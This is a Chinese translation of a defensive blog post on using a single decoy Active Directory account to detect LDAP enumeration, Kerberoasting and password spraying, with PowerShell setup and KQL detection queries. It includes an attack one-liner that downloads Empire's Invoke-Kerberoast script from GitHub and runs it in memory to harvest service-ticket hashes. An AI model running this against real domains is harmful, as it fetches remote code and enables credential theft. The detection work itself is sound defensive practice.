利用单个Active Directory账户构建三重威胁检测预警系统

本文详细介绍了如何通过配置单个AD诱饵账户来检测三种常见攻击手法:LDAP枚举、Kerberoasting和服务主体攻击、密码喷洒和凭据填充,提供实际PowerShell命令和KQL查询示例。

单个Active Directory账户可作为最佳预警系统

作者:Jordan Drysdale

Jordan在科技行业已有25年经验,十年前加入Black Hills Information Security团队,现任Antisyphon Training讲师。

本文将再次讨论Active Directory、黑客攻击和检测工程。简而言之:一个AD账户可以提供三种检测机制,如果正确实施,可以早期捕获常见的对抗活动。具体检测内容包括:

  • 通过ADExplorer、BloodHound和LDP.exe进行的AD枚举
  • Kerberoasting和服务主体攻击
  • 密码喷洒、凭据填充和暴力破解

实验环境搭建

可以使用Microsoft Azure上的临时实验室跟随本博客操作。使用ARM模板构建AD实验室:https://www.doazlab.com。实验室环境构建完成后类似以下截图:

如果从未使用过Azure,只需搜索公共IP。点击任何对象即可查看分配的IP和DNS记录。

博客环境的IP和DNS详细信息如下所示。如果选择部署实验室环境,IP地址分配将有所不同。

其余配置任务从DC01桌面、PowerShell和命令提示符完成。

1
2
3
whoami
hostname
setspn -T doazlab.com -Q */*

这些命令告诉我们当前用户身份、主机名以及域上所有可发现的服务主体名称(SPN)。

创建诱饵账户

下一个命令在AD中创建一个账户Ricardo Beneficio,该账户将在后续的几个工程检测中发挥作用。然后,我们收集新对象的GUID,因为我们需要这个值来设计LDAP枚举检测。

1
2
3
4
5
# 创建诱饵账户
New-ADUser -UserPrincipalName ricardo.beneficio@doazlab.com -Path "OU=DomainUsers,dc=doazlab,DC=com" -GivenName "Ricardo" -Surname "Beneficio" -Enabled 1 -Name "Ricardo.Beneficio" -desc "Accounting Controller" -office "Accounting" -title "Controller" -company "DevLabs" -AccountPassword (ConvertTo-SecureString "Contrasena#2" -AsPlainText -Force)

# 获取诱饵用户对象GUID
Get-ADUser -Identity ricardo.beneficio -Properties "ObjectGuid"

这应该返回对象的几个详细信息,包括ObjectGUID,这对某些检测很有用。

事件ID检测配置

让我们使用事件ID(EID)4624和4625作为第一个示例。日志传输后,这些事件为我们提供了AD对象的规范化表示(用户名)。如下一个截图所示,对我们诱饵账户的有效登录包含规范化账户名称,人类可读且易于搜索。

通过更多审计配置,我们可以捕获额外的事件ID进行比较。以下PowerShell将获取Open Threat Research Forge(OTRF)的Set-AuditRule.ps1脚本副本。使用该工具,我们将启用对Ricardo的UAC属性的审计,意味着任何时候任何人读取Ricardo的UAC值都会记录4662事件。这是AD中存储用户AD属性配置的模式属性。该值类似于下面看到的内容(存储为十六进制并解码为二进制)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 设置诱饵账户密码永不过期,因为我们知道BloodHound、AdExplorer、ADFind和其他LDAP枚举器会读取发现对象的UAC值

$DecoySamAccountName = ricardo.beneficio
Set-ADAccountControl -Identity $DecoySamAccountName -PasswordNeverExpires $true

# 导入AD模块
# 获取Set-AuditRule.ps1
# 设置审计规则:当WorldSid(所有人)读取Ricardo的UAC时,记录对象访问事件ID 4662

Import-Module ActiveDirectory 
iwr -Uri https://raw.githubusercontent.com/OTRF/Set-AuditRule/master/Set-AuditRule.ps1 -OutFile Set-AuditRule.ps1
Import-Module .\Set-AuditRule.ps1
Set-AuditRule -AdObjectPath 'AD:\CN=ricardo.beneficio,DC=DomainUsers,DC=doazlab,DC=com' -WellKnownSidType WorldSid -Rights ReadProperty -InheritanceFlags All -AttributeGUID bf967a68-0de6-11d0-a285-00aa003049e2 -AuditFlags Success

我们可以使用PowerShell验证审计规则的配置。

1
2
$acl = Get-Acl -Path "AD:CN=Ricardo.Beneficio,OU=DomainUsers,DC=doazlab,DC=com" -Audit
$acl.getauditrules($true,$true, [System.Security.Principal.NTAccount])

检测LDAP枚举

在后台,我们以doazlab\doadmin身份运行了BloodHound。这导致记录并传输了事件ID 4662。如下一个截图所示,我们可以看到Windows事件记录中最显著的一个细微差别:没有直接引用ricardo.beneficio。

相反,我们需要搜索Ricardo的objectGUID。因此,以下KQL查询产生了我们需要的匹配。

1
2
3
4
SecurityEvent
| where EventID == 4662
| where ObjectName contains "e84b8538-2b00-4b82-909b-45051e55e6b1"
| project TimeGenerated , Account , ObjectName , ObjectType

遗憾的是…我们还必须逆向工程账户在域和网络上的位置。我们看到执行读取操作的账户与运行BloodHound的PowerShell会话一致,但不幸的是,EID 4662没有提供足够的信息来识别请求的源IP地址。无论如何,查看投影结果,我们可以看到执行读取ricardo.beneficio用户账户控制(UAC)值的用户。

这里,整个行业诞生了——事件日志规范化。这个行业收费来解决报告这些GUID而不是对象名称的事件ID条目。

Microsoft Sentinel允许操作员快速创建警报,本文材料不描述该过程,但在内容创建期间创建了警报规则以支持此处提出的主张。

Kerberoasting检测

接下来,让我们为Ricardo的账户添加一个SPN。一个命令,轻松使这个账户可被Kerberoast。如果您不知道,这是大多数渗透测试中会看到的另一种攻击,也是另一种常见的对抗技术。该攻击允许任何域账户为具有注册服务主体名称关联的账户请求服务票证。

1
setspn -a ws05/ricardo.beneficio.doazlab.com:1433 doazlab.com\ricardo.beneficio

下一个setspn命令演示了SPN正确注册。

1
setspn -T doazlab.com -Q / |find "ricardo"

这是一个快速的Kerberoaster一行命令,应该在Ricardo的账户上触发票证操作。注册了SPN?密码哈希到手。

1
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat john

你好EID 4769!这是另一个超级有用的事件ID,我们可以用规范化对象名称搜索。EID 4769捕获Kerberos服务票证请求。虽然这可能是一个嘈杂的事件ID,但一个良好调整的光学基础设施将在需要时看到这些事件。

以下是用于此检测的KQL查询。

1
2
3
4
5
6
7
8
9
SecurityEvent 
| where TimeGenerated >= ago(2h) 
| where EventID == 4769 
| parse EventData with * 'Status">' Status "<" * 
| where Status == '0x0' 
| parse EventData with * 'ServiceName">' ServiceName "<" * 
| where ServiceName !contains "$" and ServiceName contains "ricardo" 
| parse EventData with * 'IpAddress">' SourceIP "<" * 
| project TimeGenerated , ServiceName , SourceIP , EventID , Activity

使用此检测逻辑构建了警报,不包括TimeGenerated操作符。

密码喷洒检测

最后,让我们为密码喷洒和凭据填充构建最后一个检测。这类活动将触发EID 4625(登录失败)的峰值。

在后台,对498个对象进行了密码喷洒。

以下查询然后询问记录的EID 4625事件,同时匹配账户参数。

1
2
3
4
SecurityEvent
| where EventID == 4625
| where Account contains "Ricardo.Beneficio"
| project TimeGenerated , Activity , Account , IpAddress

这里超级简单的检测,如果您像应该的那样操作这个账户(几乎不操作),这也为恶意活动产生了高保真检测。

检测工程方法总结

在为针对EID 4625的失败登录查询构建警报后,我们可以用以下要点总结整体检测工程方法:

  • 创建AD对象用作诱饵
  • 在账户上设置审计规则,以便检测对象UAC属性值的读取操作——非常常见的枚举技术
  • 在诱饵账户上设置服务主体名称
  • 构建一些查询逻辑以支持检测属性读取操作、任何Kerberos票证操作和诱饵上的失败登录
  • 检查警报仪表板

攻击者活动总结

我们可以用以下要点总结本博客的攻击者方面:

  • 危害第一个AD凭据
  • 使用BloodHound或AdExplorer执行模式分析和AD枚举
  • 进行Kerberoasting攻击
  • 对环境中的AD用户进行密码喷洒

并且,通过最后一次警报总结,我们应该看到所有这些活动。

感谢阅读。如有关于内容和材料的问题,请随时联系,我们很确定大家都知道我们喜欢分享。

干杯! -jd

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计